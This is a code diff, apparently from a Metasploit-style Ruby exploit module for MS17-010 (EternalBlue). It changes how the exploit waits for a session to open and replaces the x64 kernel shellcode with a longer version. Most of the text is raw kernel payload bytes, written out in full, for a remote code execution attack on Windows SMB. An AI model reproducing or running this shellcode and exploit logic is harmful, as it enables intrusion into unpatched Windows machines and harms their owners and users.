@@ -100,11 +100,13 @@ def exploit
100
100
101
101
# we don't need this sleep, and need to find a way to remove it
102
102
# problem is session_count won't increment until stage is complete :\
103
- sleep 5
104
-
105
- handler
103
+ secs = 0
104
+ while !session_created? and sec < 5
105
+ secs += 1
106
+ sleep 1
107
+ end
106
108
107
- if self . session_count > 0 # is there a better way ?
109
+ if session_created ?
108
110
print_good ( "=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=" )
109
111
print_good ( "=-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=" )
110
112
print_good ( "=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=" )
@@ -620,7 +622,7 @@ def make_kernel_user_payload(ring3, proc_name, ep_thl_b, et_alertable, teb_acp,
620
622
def make_kernel_shellcode
621
623
# https://github.com/RiskSense-Ops/MS17-010/blob/master/payloads/x64/src/exploit/kernel.asm
622
624
# Name: kernel
623
- # Length: 951 bytes
625
+ # Length: 1019 bytes
624
626
625
627
#"\xcc"+
626
628
"\xB9 \x82 \x00 \x00 \xC0 \x0F \x32 \x48 \xBB \xF8 \x0F \xD0 \xFF \xFF \xFF \xFF " +
@@ -642,47 +644,51 @@ def make_kernel_shellcode
642
644
"\xEC \x20 \x4C \x8D \x35 \xE3 \xFF \xFF \xFF \x65 \x4C \x8B \x3C \x25 \x38 \x00 " +
643
645
"\x00 \x00 \x4D \x8B \x7F \x04 \x49 \xC1 \xEF \x0C \x49 \xC1 \xE7 \x0C \x49 \x81 " +
644
646
"\xEF \x00 \x10 \x00 \x00 \x49 \x8B \x37 \x66 \x81 \xFE \x4D \x5A \x75 \xEF \x41 " +
645
- "\xBC \x20 \x04 \x00 \x00 \x31 \xDB \x89 \xD9 \x83 \xC1 \x04 \x81 \xF9 \x00 \x00 " +
646
- "\x01 \x00 \x0F \x8D \x66 \x01 \x00 \x00 \x4C \x89 \xF2 \x89 \xCB \x41 \xBB \x66 " +
647
- "\x55 \xA2 \x4B \xE8 \xBC \x01 \x00 \x00 \x85 \xC0 \x75 \xDB \x49 \x8B \x0E \x41 " +
648
- "\xBB \xA3 \x6F \x72 \x2D \xE8 \xAA \x01 \x00 \x00 \x48 \x89 \xC6 \xE8 \x50 \x01 " +
649
- "\x00 \x00 \x41 \x81 \xF9 \xBF \x77 \x1F \xDD \x75 \xBC \x49 \x8B \x1E \x4D \x8D " +
650
- "\x6E \x10 \x4C \x89 \xEA \x48 \x89 \xD9 \x41 \xBB \xE5 \x24 \x11 \xDC \xE8 \x81 " +
651
- "\x01 \x00 \x00 \x6A \x40 \x68 \x00 \x10 \x00 \x00 \x4D \x8D \x4E \x08 \x49 \xC7 " +
652
- "\x01 \x00 \x10 \x00 \x00 \x4D \x31 \xC0 \x4C \x89 \xF2 \x31 \xC9 \x48 \x89 \x0A " +
653
- "\x48 \xF7 \xD1 \x41 \xBB \x4B \xCA \x0A \xEE \x48 \x83 \xEC \x20 \xE8 \x52 \x01 " +
654
- "\x00 \x00 \x85 \xC0 \x0F \x85 \xC8 \x00 \x00 \x00 \x49 \x8B \x3E \x48 \x8D \x35 " +
655
- "\xE9 \x00 \x00 \x00 \x31 \xC9 \x66 \x03 \x0D \xD7 \x01 \x00 \x00 \x66 \x81 \xC1 " +
656
- "\xF9 \x00 \xF3 \xA4 \x48 \x89 \xDE \x48 \x81 \xC6 \x08 \x03 \x00 \x00 \x48 \x89 " +
657
- "\xF1 \x48 \x8B \x11 \x4C \x29 \xE2 \x51 \x52 \x48 \x89 \xD1 \x48 \x83 \xEC \x20 " +
658
- "\x41 \xBB \x26 \x40 \x36 \x9D \xE8 \x09 \x01 \x00 \x00 \x48 \x83 \xC4 \x20 \x5A " +
659
- "\x59 \x48 \x85 \xC0 \x74 \x18 \x48 \x8B \x80 \xC8 \x02 \x00 \x00 \x48 \x85 \xC0 " +
660
- "\x74 \x0C \x48 \x83 \xC2 \x4C \x8B \x02 \x0F \xBA \xE0 \x05 \x72 \x05 \x48 \x8B " +
661
- "\x09 \xEB \xBE \x48 \x83 \xEA \x4C \x49 \x89 \xD4 \x31 \xD2 \x80 \xC2 \x90 \x31 " +
662
- "\xC9 \x41 \xBB \x26 \xAC \x50 \x91 \xE8 \xC8 \x00 \x00 \x00 \x48 \x89 \xC1 \x4C " +
663
- "\x8D \x89 \x80 \x00 \x00 \x00 \x41 \xC6 \x01 \xC3 \x4C \x89 \xE2 \x49 \x89 \xC4 " +
664
- "\x4D \x31 \xC0 \x41 \x50 \x6A \x01 \x49 \x8B \x06 \x50 \x41 \x50 \x48 \x83 \xEC " +
665
- "\x20 \x41 \xBB \xAC \xCE \x55 \x4B \xE8 \x98 \x00 \x00 \x00 \x31 \xD2 \x52 \x52 " +
666
- "\x41 \x58 \x41 \x59 \x4C \x89 \xE1 \x41 \xBB \x18 \x38 \x09 \x9E \xE8 \x82 \x00 " +
667
- "\x00 \x00 \x4C \x89 \xE9 \x41 \xBB \x22 \xB7 \xB3 \x7D \xE8 \x74 \x00 \x00 \x00 " +
668
- "\x48 \x89 \xD9 \x41 \xBB \x0D \xE2 \x4D \x85 \xE8 \x66 \x00 \x00 \x00 \x48 \x89 " +
669
- "\xEC \x5D \x5B \x41 \x5C \x41 \x5D \x41 \x5E \x41 \x5F \x5E \xC3 \xE9 \xB5 \x00 " +
670
- "\x00 \x00 \x4D \x31 \xC9 \x31 \xC0 \xAC \x41 \xC1 \xC9 \x0D \x3C \x61 \x7C \x02 " +
671
- "\x2C \x20 \x41 \x01 \xC1 \x38 \xE0 \x75 \xEC \xC3 \x31 \xD2 \x65 \x48 \x8B \x52 " +
672
- "\x60 \x48 \x8B \x52 \x18 \x48 \x8B \x52 \x20 \x48 \x8B \x12 \x48 \x8B \x72 \x50 " +
673
- "\x48 \x0F \xB7 \x4A \x4A \x45 \x31 \xC9 \x31 \xC0 \xAC \x3C \x61 \x7C \x02 \x2C " +
674
- "\x20 \x41 \xC1 \xC9 \x0D \x41 \x01 \xC1 \xE2 \xEE \x45 \x39 \xD9 \x75 \xDA \x4C " +
675
- "\x8B \x7A \x20 \xC3 \x4C \x89 \xF8 \x41 \x51 \x41 \x50 \x52 \x51 \x56 \x48 \x89 " +
676
- "\xC2 \x8B \x42 \x3C \x48 \x01 \xD0 \x8B \x80 \x88 \x00 \x00 \x00 \x48 \x01 \xD0 " +
677
- "\x50 \x8B \x48 \x18 \x44 \x8B \x40 \x20 \x49 \x01 \xD0 \x48 \xFF \xC9 \x41 \x8B " +
678
- "\x34 \x88 \x48 \x01 \xD6 \xE8 \x78 \xFF \xFF \xFF \x45 \x39 \xD9 \x75 \xEC \x58 " +
679
- "\x44 \x8B \x40 \x24 \x49 \x01 \xD0 \x66 \x41 \x8B \x0C \x48 \x44 \x8B \x40 \x1C " +
680
- "\x49 \x01 \xD0 \x41 \x8B \x04 \x88 \x48 \x01 \xD0 \x5E \x59 \x5A \x41 \x58 \x41 " +
681
- "\x59 \x41 \x5B \x41 \x53 \xFF \xE0 \x56 \x41 \x57 \x55 \x48 \x89 \xE5 \x48 \x83 " +
682
- "\xEC \x20 \x41 \xBB \xDA \x16 \xAF \x92 \xE8 \x4D \xFF \xFF \xFF \x31 \xC9 \x51 " +
683
- "\x51 \x51 \x51 \x41 \x59 \x4C \x8D \x05 \x1A \x00 \x00 \x00 \x5A \x48 \x83 \xEC " +
684
- "\x20 \x41 \xBB \x46 \x45 \x1B \x22 \xE8 \x68 \xFF \xFF \xFF \x48 \x89 \xEC \x5D " +
685
- "\x41 \x5F \x5E \xC3 " #\x01\x00\xC3"
647
+ "\xBB \x5C \x72 \x11 \x62 \xE8 \x18 \x02 \x00 \x00 \x48 \x89 \xC6 \x48 \x81 \xC6 " +
648
+ "\x08 \x03 \x00 \x00 \x41 \xBB \x7A \xBA \xA3 \x30 \xE8 \x03 \x02 \x00 \x00 \x48 " +
649
+ "\x89 \xF1 \x48 \x39 \xF0 \x77 \x11 \x48 \x8D \x90 \x00 \x05 \x00 \x00 \x48 \x39 " +
650
+ "\xF2 \x72 \x05 \x48 \x29 \xC6 \xEB \x08 \x48 \x8B \x36 \x48 \x39 \xCE \x75 \xE2 " +
651
+ "\x49 \x89 \xF4 \x31 \xDB \x89 \xD9 \x83 \xC1 \x04 \x81 \xF9 \x00 \x00 \x01 \x00 " +
652
+ "\x0F \x8D \x66 \x01 \x00 \x00 \x4C \x89 \xF2 \x89 \xCB \x41 \xBB \x66 \x55 \xA2 " +
653
+ "\x4B \xE8 \xBC \x01 \x00 \x00 \x85 \xC0 \x75 \xDB \x49 \x8B \x0E \x41 \xBB \xA3 " +
654
+ "\x6F \x72 \x2D \xE8 \xAA \x01 \x00 \x00 \x48 \x89 \xC6 \xE8 \x50 \x01 \x00 \x00 " +
655
+ "\x41 \x81 \xF9 \xBF \x77 \x1F \xDD \x75 \xBC \x49 \x8B \x1E \x4D \x8D \x6E \x10 " +
656
+ "\x4C \x89 \xEA \x48 \x89 \xD9 \x41 \xBB \xE5 \x24 \x11 \xDC \xE8 \x81 \x01 \x00 " +
657
+ "\x00 \x6A \x40 \x68 \x00 \x10 \x00 \x00 \x4D \x8D \x4E \x08 \x49 \xC7 \x01 \x00 " +
658
+ "\x10 \x00 \x00 \x4D \x31 \xC0 \x4C \x89 \xF2 \x31 \xC9 \x48 \x89 \x0A \x48 \xF7 " +
659
+ "\xD1 \x41 \xBB \x4B \xCA \x0A \xEE \x48 \x83 \xEC \x20 \xE8 \x52 \x01 \x00 \x00 " +
660
+ "\x85 \xC0 \x0F \x85 \xC8 \x00 \x00 \x00 \x49 \x8B \x3E \x48 \x8D \x35 \xE9 \x00 " +
661
+ "\x00 \x00 \x31 \xC9 \x66 \x03 \x0D \xD7 \x01 \x00 \x00 \x66 \x81 \xC1 \xF9 \x00 " +
662
+ "\xF3 \xA4 \x48 \x89 \xDE \x48 \x81 \xC6 \x08 \x03 \x00 \x00 \x48 \x89 \xF1 \x48 " +
663
+ "\x8B \x11 \x4C \x29 \xE2 \x51 \x52 \x48 \x89 \xD1 \x48 \x83 \xEC \x20 \x41 \xBB " +
664
+ "\x26 \x40 \x36 \x9D \xE8 \x09 \x01 \x00 \x00 \x48 \x83 \xC4 \x20 \x5A \x59 \x48 " +
665
+ "\x85 \xC0 \x74 \x18 \x48 \x8B \x80 \xC8 \x02 \x00 \x00 \x48 \x85 \xC0 \x74 \x0C " +
666
+ "\x48 \x83 \xC2 \x4C \x8B \x02 \x0F \xBA \xE0 \x05 \x72 \x05 \x48 \x8B \x09 \xEB " +
667
+ "\xBE \x48 \x83 \xEA \x4C \x49 \x89 \xD4 \x31 \xD2 \x80 \xC2 \x90 \x31 \xC9 \x41 " +
668
+ "\xBB \x26 \xAC \x50 \x91 \xE8 \xC8 \x00 \x00 \x00 \x48 \x89 \xC1 \x4C \x8D \x89 " +
669
+ "\x80 \x00 \x00 \x00 \x41 \xC6 \x01 \xC3 \x4C \x89 \xE2 \x49 \x89 \xC4 \x4D \x31 " +
670
+ "\xC0 \x41 \x50 \x6A \x01 \x49 \x8B \x06 \x50 \x41 \x50 \x48 \x83 \xEC \x20 \x41 " +
671
+ "\xBB \xAC \xCE \x55 \x4B \xE8 \x98 \x00 \x00 \x00 \x31 \xD2 \x52 \x52 \x41 \x58 " +
672
+ "\x41 \x59 \x4C \x89 \xE1 \x41 \xBB \x18 \x38 \x09 \x9E \xE8 \x82 \x00 \x00 \x00 " +
673
+ "\x4C \x89 \xE9 \x41 \xBB \x22 \xB7 \xB3 \x7D \xE8 \x74 \x00 \x00 \x00 \x48 \x89 " +
674
+ "\xD9 \x41 \xBB \x0D \xE2 \x4D \x85 \xE8 \x66 \x00 \x00 \x00 \x48 \x89 \xEC \x5D " +
675
+ "\x5B \x41 \x5C \x41 \x5D \x41 \x5E \x41 \x5F \x5E \xC3 \xE9 \xB5 \x00 \x00 \x00 " +
676
+ "\x4D \x31 \xC9 \x31 \xC0 \xAC \x41 \xC1 \xC9 \x0D \x3C \x61 \x7C \x02 \x2C \x20 " +
677
+ "\x41 \x01 \xC1 \x38 \xE0 \x75 \xEC \xC3 \x31 \xD2 \x65 \x48 \x8B \x52 \x60 \x48 " +
678
+ "\x8B \x52 \x18 \x48 \x8B \x52 \x20 \x48 \x8B \x12 \x48 \x8B \x72 \x50 \x48 \x0F " +
679
+ "\xB7 \x4A \x4A \x45 \x31 \xC9 \x31 \xC0 \xAC \x3C \x61 \x7C \x02 \x2C \x20 \x41 " +
680
+ "\xC1 \xC9 \x0D \x41 \x01 \xC1 \xE2 \xEE \x45 \x39 \xD9 \x75 \xDA \x4C \x8B \x7A " +
681
+ "\x20 \xC3 \x4C \x89 \xF8 \x41 \x51 \x41 \x50 \x52 \x51 \x56 \x48 \x89 \xC2 \x8B " +
682
+ "\x42 \x3C \x48 \x01 \xD0 \x8B \x80 \x88 \x00 \x00 \x00 \x48 \x01 \xD0 \x50 \x8B " +
683
+ "\x48 \x18 \x44 \x8B \x40 \x20 \x49 \x01 \xD0 \x48 \xFF \xC9 \x41 \x8B \x34 \x88 " +
684
+ "\x48 \x01 \xD6 \xE8 \x78 \xFF \xFF \xFF \x45 \x39 \xD9 \x75 \xEC \x58 \x44 \x8B " +
685
+ "\x40 \x24 \x49 \x01 \xD0 \x66 \x41 \x8B \x0C \x48 \x44 \x8B \x40 \x1C \x49 \x01 " +
686
+ "\xD0 \x41 \x8B \x04 \x88 \x48 \x01 \xD0 \x5E \x59 \x5A \x41 \x58 \x41 \x59 \x41 " +
687
+ "\x5B \x41 \x53 \xFF \xE0 \x56 \x41 \x57 \x55 \x48 \x89 \xE5 \x48 \x83 \xEC \x20 " +
688
+ "\x41 \xBB \xDA \x16 \xAF \x92 \xE8 \x4D \xFF \xFF \xFF \x31 \xC9 \x51 \x51 \x51 " +
689
+ "\x51 \x41 \x59 \x4C \x8D \x05 \x1A \x00 \x00 \x00 \x5A \x48 \x83 \xEC \x20 \x41 " +
690
+ "\xBB \x46 \x45 \x1B \x22 \xE8 \x68 \xFF \xFF \xFF \x48 \x89 \xEC \x5D \x41 \x5F " +
691
+ "\x5E \xC3 "
686
692
end
687
693
688
694
end
0 commit comments